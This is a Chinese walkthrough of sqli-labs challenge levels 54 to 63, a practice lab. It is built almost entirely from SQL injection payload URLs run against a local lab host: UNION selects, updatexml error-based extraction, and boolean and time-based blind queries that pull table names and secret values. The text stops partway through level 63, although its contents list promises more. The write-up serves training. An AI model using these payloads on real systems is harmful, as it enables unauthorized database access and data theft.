SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)

文章目录

        • 1. SqliLab_Mysql_Injection详解_字符型注入(十四)
          • 1.1. SQL注入_CHALLENGE
          • 1.2. 挑战流程
        • 2. SqliLab关卡(包含54,55,56,57,58,59,60,61,62,63,64,65)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
          • 2.1. SqliLab-54(UNION联合查询(单引号闭合)(10次尝试)):
            • 2.1.1. 初始界面
            • 2.1.2. 判断注入点(关键步骤)
            • 2.1.3. 使用UNION联合查询获取数据库信息
          • 2.2. SqliLab-55(UNION联合查询()闭合)(14次尝试)):
            • 2.2.1. 初始界面
            • 2.2.2. 判断注入点(关键步骤)
            • 2.2.3. 使用UNION联合查询获取数据库信息
          • 2.3. SqliLab-56(UNION联合查询(')闭合)(14次尝试)):
            • 2.3.1. 初始界面
            • 2.3.2. 判断注入点(关键步骤)
            • 2.3.3. 使用UNION联合查询获取数据库信息
          • 2.4. SqliLab-57(UNION联合查询(双引号闭合)(14次尝试)):
            • 2.4.1. 初始界面
            • 2.4.2. 判断注入点(关键步骤)
            • 2.4.3. 使用UNION联合查询获取数据库信息
          • 2.5. SqliLab-58(报错注入(单引号闭合)(5次尝试)):
            • 2.5.1. 初始界面
            • 2.5.2. 判断注入点(关键步骤)
            • 2.5.3. 使用报错注入获取数据库信息
          • 2.6. SqliLab-59(报错注入(无字符闭合)(5次尝试)):
            • 2.6.1. 初始界面
            • 2.6.2. 判断注入点(关键步骤)
            • 2.6.3. 使用报错注入获取数据库信息
          • 2.7. SqliLab-60(报错注入(")闭合)(5次尝试)):
            • 2.7.1. 初始界面
            • 2.7.2. 判断注入点(关键步骤)
            • 2.7.3. 使用报错注入获取数据库信息
          • 2.8. SqliLab-61(报错注入('))闭合)(5次尝试)):
            • 2.8.1. 初始界面
            • 2.8.2. 判断注入点(关键步骤)
            • 2.8.3. 使用报错注入获取数据库信息
          • 2.9. SqliLab-62(布尔/时间盲注(')闭合)(130次尝试)):
            • 2.9.1. 初始界面
            • 2.9.2. 判断注入点(关键步骤)
            • 2.9.3. 使用布尔盲注获取数据库信息.
            • 2.9.4. 使用时间盲注获取数据库信息
          • 2.10. SqliLab-63(布尔/时间盲注(单引号闭合)(130次尝试)):
            • 2.10.1. 初始界面
            • 2.10.2. 判断注入点(关键步骤)
            • 2.10.3. 使用布尔盲注获取数据库信息
            • 2.10.4. 使用时间盲注获取数据库信息
          • 2.11. SqliLab-64(布尔/时间盲注())闭合)(130次尝试)):
            • 2.11.1. 初始界面
            • 2.11.2. 判断注入点(关键步骤)
            • 2.11.3. 使用布尔盲注获取数据库信息
            • 2.11.4. 使用时间盲注获取数据库信息
          • 2.12. SqliLab-65(布尔/时间盲注(")闭合)(130次尝试)):
            • 2.12.1. 初始界面
            • 2.12.2. 判断注入点(关键步骤)
            • 2.12.3. 使用布尔盲注获取数据库信息
            • 2.12.4. 使用时间盲注获取数据库信息
        • 3. 总结

1. SqliLab_Mysql_Injection详解_字符型注入(十四)

1.1. SQL注入_CHALLENGE
1.2. 挑战流程

使用SQL注入,获取当前数据库(challenges)中的随机表,中的flag信息(secret_****),并提交至服务器,服务器返回正确页面,挑战即为成功。

2. SqliLab关卡(包含54,55,56,57,58,59,60,61,62,63,64,65)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)

2.1. SqliLab-54(UNION联合查询(单引号闭合)(10次尝试)):
2.1.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第1张图片

2.1.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-54/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-54/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-54/?id=1' and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为(');
//由于关卡有连接次数的限制,就不判断是否存在报错注入堆叠注入之类的了;

经过测试,判断出参数(id)存在注入,闭合字符为(’),同时服务器返回页面存在回显,考虑使用UNION联合查询获取数据库信息;

2.1.3. 使用UNION联合查询获取数据库信息

EG:

http://192.168.1.104/sql/Less-54/?id=1' order by 1,2,3 --+
//服务器返回页面正确,再次尝试;
http://192.168.1.104/sql/Less-54/?id=1' order by 1,2,3,4 --+
//服务器返回页面错误,判断字段数为(3);
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为(challenges),Mysql版本为(5.5.53),用户为(root@);
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库(challenges)中存在的表有(yfvyz1gpk7);
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='yfvyz1gpk7' --+
//服务器返回页面正确,同时查看到表(yfvyz1gpk7)中的字段值为(id,sessid,secret_FPR4,tryy);
http://192.168.1.104/sql/Less-54/?id=1' and 1=2 union select 1,group_concat(0x7c,secret_FPR4,0x7c),2 from yfvyz1gpk7 --+
//服务器返回页面正确,同时查看到表(yfvyz1gpk7)中的字段值(secret_FPR4)信息为(Wk5PKYpVY0U1XXAB97QhjFOn),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第2张图片
SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第3张图片
SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第4张图片
至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-54结束;

2.2. SqliLab-55(UNION联合查询()闭合)(14次尝试)):
2.2.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第5张图片

2.2.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-55/?id=1 and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-55/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-55/?id=1" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用())代替(")进行构造;
http://192.168.1.104/sql/Less-55/?id=1) and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为());
//由于关卡有连接次数的限制,就不判断是否存在报错注入堆叠注入之类的了;

经过测试,判断出参数(id)存在注入,闭合字符为()),同时服务器返回页面存在回显,考虑使用UNION联合查询获取数据库信息;

2.2.3. 使用UNION联合查询获取数据库信息

EG:

http://192.168.1.104/sql/Less-55/?id=1) order by 1,2,3 --+
//服务器返回页面正确,再次尝试;
http://192.168.1.104/sql/Less-55/?id=1) order by 1,2,3,4 --+
//服务器返回页面错误,判断字段数为(3);
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为(challenges),Mysql版本为(5.5.53),用户为(root@);
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库(challenges)中存在的表有(mfavyazp2n);
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='mfavyazp2n' --+
//服务器返回页面正确,同时查看到表(mfavyazp2n)中的字段值为(id,sessid,secret_ZUCZ,tryy);
http://192.168.1.104/sql/Less-55/?id=1) and 1=2 union select 1,group_concat(0x7c,secret_ZUCZ,0x7c),2 from mfavyazp2n --+
//服务器返回页面正确,同时查看到表(mfavyazp2n)中的字段值(secret_ZUCZ)信息为(FOU9bH5p2crs779mx1oT91BS),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-55结束;

2.3. SqliLab-56(UNION联合查询(’)闭合)(14次尝试)):
2.3.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第6张图片

2.3.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-56/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-56/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-56/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-56/?id=1" and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-56/?id=1" and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用())代替(")进行构造;
http://192.168.1.104/sql/Less-56/?id=1) and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-56/?id=1) and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用('')代替())进行构造;
http://192.168.1.104/sql/Less-56/?id=1'' and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-56/?id=1'' and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用('")代替('')进行构造;
http://192.168.1.104/sql/Less-56/?id=1'" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('))代替('")进行构造;
http://192.168.1.104/sql/Less-56/?id=1') and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为('));
//由于关卡有连接次数的限制,同时仅仅判断注入点就用了十二次,
//可以考虑判断服务器返回页面是否存在SQL语句报错提示,如果有,则能通关报错提示,快速的判断出闭合字符;
//本关不存在SQL语句报错提示;

经过测试,判断出参数(id)存在注入,闭合字符为(’)),同时服务器返回页面存在回显,考虑使用UNION联合查询获取数据库信息;

2.3.3. 使用UNION联合查询获取数据库信息

EG:

http://192.168.1.104/sql/Less-56/?id=1') order by 1,2,3 --+
//服务器返回页面正确,再次尝试;
http://192.168.1.104/sql/Less-56/?id=1') order by 1,2,3,4 --+
//服务器返回页面错误,判断字段数为(3);
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为(challenges),Mysql版本为(5.5.53),用户为(root@);
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库(challenges)中存在的表有(k3kcp15rw4);
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='k3kcp15rw4' --+
//服务器返回页面正确,同时查看到表(k3kcp15rw4)中的字段值为(id,sessid,secret_JE1C,tryy);
http://192.168.1.104/sql/Less-56/?id=1') and 1=2 union select 1,group_concat(0x7c,secret_JE1C,0x7c),2 from k3kcp15rw4 --+
//服务器返回页面正确,同时查看到表(k3kcp15rw4)中的字段值(secret_JE1C)信息为(FqJ3aXqQ05opci6E1816JZRP),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-56结束;

2.4. SqliLab-57(UNION联合查询(双引号闭合)(14次尝试)):
2.4.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第7张图片

2.4.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-57/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-57/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-57/?id=1' and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-57/?id=1' and 1=2 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-57/?id=1" and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为(");
//由于关卡有连接次数的限制,就不判断是否存在报错注入堆叠注入之类的了;

经过测试,判断出参数(id)存在注入,闭合字符为("),同时服务器返回页面存在回显,考虑使用UNION联合查询获取数据库信息;

2.4.3. 使用UNION联合查询获取数据库信息

EG:

http://192.168.1.104/sql/Less-57/?id=1" order by 1,2,3 --+
//服务器返回页面正确,再次尝试;
http://192.168.1.104/sql/Less-57/?id=1" order by 1,2,3,4 --+
//服务器返回页面错误,判断字段数为(3);
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,concat(database(),0x7c,version(),0x7c,user()),2 --+
//服务器返回页面正确,同时查看到当前数据库名为(challenges),Mysql版本为(5.5.53),用户为(root@);
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
//服务器返回页面正确,同时查看到当前数据库(challenges)中存在的表有(hgt7rgbv18);
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='hgt7rgbv18' --+
//服务器返回页面正确,同时查看到表(hgt7rgbv18)中的字段值为(id,sessid,secret_M6RW,tryy);
http://192.168.1.104/sql/Less-57/?id=1" and 1=2 union select 1,group_concat(0x7c,secret_M6RW,0x7c),2 from hgt7rgbv18 --+
//服务器返回页面正确,同时查看到表(hgt7rgbv18)中的字段值(secret_M6RW)信息为(oqpuqTvbqlsTV6Ab3HmZDgAU),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-57结束;

2.5. SqliLab-58(报错注入(单引号闭合)(5次尝试)):
2.5.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第8张图片

2.5.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-58/?id=1'))) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示,同时判断出参数(id)存在注入,闭合字符为(');

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第9张图片

经过测试,判断出参数(id)存在注入,闭合字符为(’),同时服务器返回页面存在SQL语句报错提示,考虑使用报错注入获取数据库信息;

2.5.3. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-58/?id=1' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库中存在的表有(2yybbj6b2f);
http://192.168.1.104/sql/Less-58/?id=1' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='2yybbj6b2f'),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(2yybbj6b2f)中的字段值为(id,sessid,secret_OGRO,tryy);
http://192.168.1.104/sql/Less-58/?id=1' and updatexml(1,concat(0x7c,(select group_concat(secret_OGRO) from 2yybbj6b2f),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(2yybbj6b2f)中的字段值(secret_OGRO)信息为(bUImrxM5Zbm2Sm3ljJ7p6YUK),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第10张图片
SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第11张图片
SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第12张图片

至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-58结束;

2.6. SqliLab-59(报错注入(无字符闭合)(5次尝试)):
2.6.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第13张图片

2.6.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-59/?id=1'))) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示,同时判断出参数(id)存在注入,无闭合字符;

经过测试,判断出参数(id)存在注入,无闭合字符,同时服务器返回页面存在SQL语句报错提示,考虑使用报错注入获取数据库信息;

2.6.3. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-59/?id=1 and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库中存在的表有(zcedm2pfjd);
http://192.168.1.104/sql/Less-59/?id=1 and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='zcedm2pfjd'),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(zcedm2pfjd)中的字段值为(id,sessid,secret_JMJ9,tryy);
http://192.168.1.104/sql/Less-59/?id=1 and updatexml(1,concat(0x7c,(select group_concat(secret_JMJ9) from zcedm2pfjd),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(zcedm2pfjd)中的字段值(secret_JMJ9)信息为(LYu3SghxNb7J9X27PCmpFoDP),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-59结束;

2.7. SqliLab-60(报错注入(")闭合)(5次尝试)):
2.7.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第14张图片

2.7.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-60/?id=1''")) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示,同时判断出参数(id)存在注入,闭合字符为("));

经过测试,判断出参数(id)存在注入,闭合字符为(")),同时服务器返回页面存在SQL语句报错提示,考虑使用报错注入获取数据库信息;

2.7.3. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-60/?id=1") and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库中存在的表有(xzywsv0ivp);
http://192.168.1.104/sql/Less-60/?id=1") and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='xzywsv0ivp'),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(xzywsv0ivp)中的字段值为(id,sessid,secret_5IVS,tryy);
http://192.168.1.104/sql/Less-60/?id=1") and updatexml(1,concat(0x7c,(select group_concat(secret_5IVS) from xzywsv0ivp),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(xzywsv0ivp)中的字段值(secret_5IVS)信息为(nuss6WrYSJvWnum8bOeEqKGA),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-60结束;

2.8. SqliLab-61(报错注入(’))闭合)(5次尝试)):
2.8.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第15张图片

2.8.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-61/?id=1'")) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示,同时判断出参数(id)存在注入,闭合字符为(')));

经过测试,判断出参数(id)存在注入,闭合字符为(’))),同时服务器返回页面存在SQL语句报错提示,考虑使用报错注入获取数据库信息;

2.8.3. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-61/?id=1')) and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库中存在的表有(ve4hzkwaps);
http://192.168.1.104/sql/Less-61/?id=1')) and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='ve4hzkwaps'),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(ve4hzkwaps)中的字段值为(id,sessid,secret_BFFJ,tryy);
http://192.168.1.104/sql/Less-61/?id=1')) and updatexml(1,concat(0x7c,(select group_concat(secret_BFFJ) from ve4hzkwaps),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了表(ve4hzkwaps)中的字段值(secret_BFFJ)信息为(H1nfe2RsPZ518K3ZvXCVOvrG),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-61结束;

2.9. SqliLab-62(布尔/时间盲注(’)闭合)(130次尝试)):
2.9.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第16张图片

2.9.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-62/?id=1 and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-62/?id=1' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;
http://192.168.1.104/sql/Less-62/?id=1" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用())代替(")进行构造;
http://192.168.1.104/sql/Less-62/?id=1) and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('')代替())进行构造;
http://192.168.1.104/sql/Less-62/?id=1'' and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('")代替('')进行构造;
http://192.168.1.104/sql/Less-62/?id=1'" and 1=1 --+
//服务器返回页面错误(预期正确),尝试使用('))代替('")进行构造;
http://192.168.1.104/sql/Less-62/?id=1') and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-62/?id=1') and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为('));

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-62/?id=1'")) --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-62/?id=1'")) --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-62/?id=1') and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-62/?id=1') and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

经过测试,判断出参数(id)存在注入,闭合字符为(’)),同时服务器返回页面不存在回显和SQL语句报错提示,考虑使用布尔/时间盲注获取数据库信息;

2.9.3. 使用布尔盲注获取数据库信息.

EG:

http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为(wamm3ipwo4);
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),11,1))%26256=256%20--+
//查询到表(wamm3ipwo4)中的第三个字段值为(secret_LJDF);
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%26256=256%20--+
//查询到表(wamm3ipwo4)中的第三个字段值(secret_LJDF)信息为(eUGA4bKvDqeP2nxz0aTV6mtH),使用该信息提交至服务器,服务器返回页面正确,挑战成功;
2.9.4. 使用时间盲注获取数据库信息

EG:

http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256,sleep(2),1)--+
//查询到当前数据库中的表为(wamm3ipwo4);
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20concat(column_name)%20from%20information_schema.columns%20where%20table_name='wamm3ipwo4'%20limit%202,1),1,1))%261=1,sleep(2),1)--+
//查询到表(wamm3ipwo4)中的第三个字段值为(secret_LJDF);
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%261=1,sleep(2),1)--+
...
http://192.168.1.104/sql/Less-62/?id=1')%20and%20if(ascii(substr((select%20group_concat(secret_LJDF)%20from%20wamm3ipwo4),1,1))%261=1,sleep(2),1)--+
//查询到表(wamm3ipwo4)中的第三个字段值(secret_LJDF)信息为(eUGA4bKvDqeP2nxz0aTV6mtH),使用该信息提交至服务器,服务器返回页面正确,挑战成功;

至此,成功获取到flag信息并提交至服务器,服务器返回页面正确,挑战成功,SqliLab-62结束;

2.10. SqliLab-63(布尔/时间盲注(单引号闭合)(130次尝试)):
2.10.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十四)_CHALLENGE(54~65)_第17张图片

2.10.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始);
EG:

http://192.168.1.104/sql/Less-63/?id=1 and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-63/?id=1 and 1=2 --+
//服务器返回页面正确(预期错误),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-63/?id=1' and 1=1 --+
//服务器返回页面正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-63/?id=1' and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数(id)存在注入,闭合字符为(');

判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-63/?id=1'")) --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-63/?id=1'")) --+
//服务器返回页面错误,没有发现SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-63/?id=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-63/?id=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

经过测试,判断出参数(id)存在注入,闭合字符为(’),同时服务器返回页面不存在回显和SQL语句报错提示,考虑使用布尔/时间盲注获取数据库信息;

2.10.3. 使用布尔盲注获取数据库信息

EG:

http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1,1))%261=1%20--+
...
http://192.168.1.104/sql/Less-63/?id=1'%20and%20ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),10,1))%26256=256%20--+
//查询到当前数据库中的表为(xbfiaw943d);
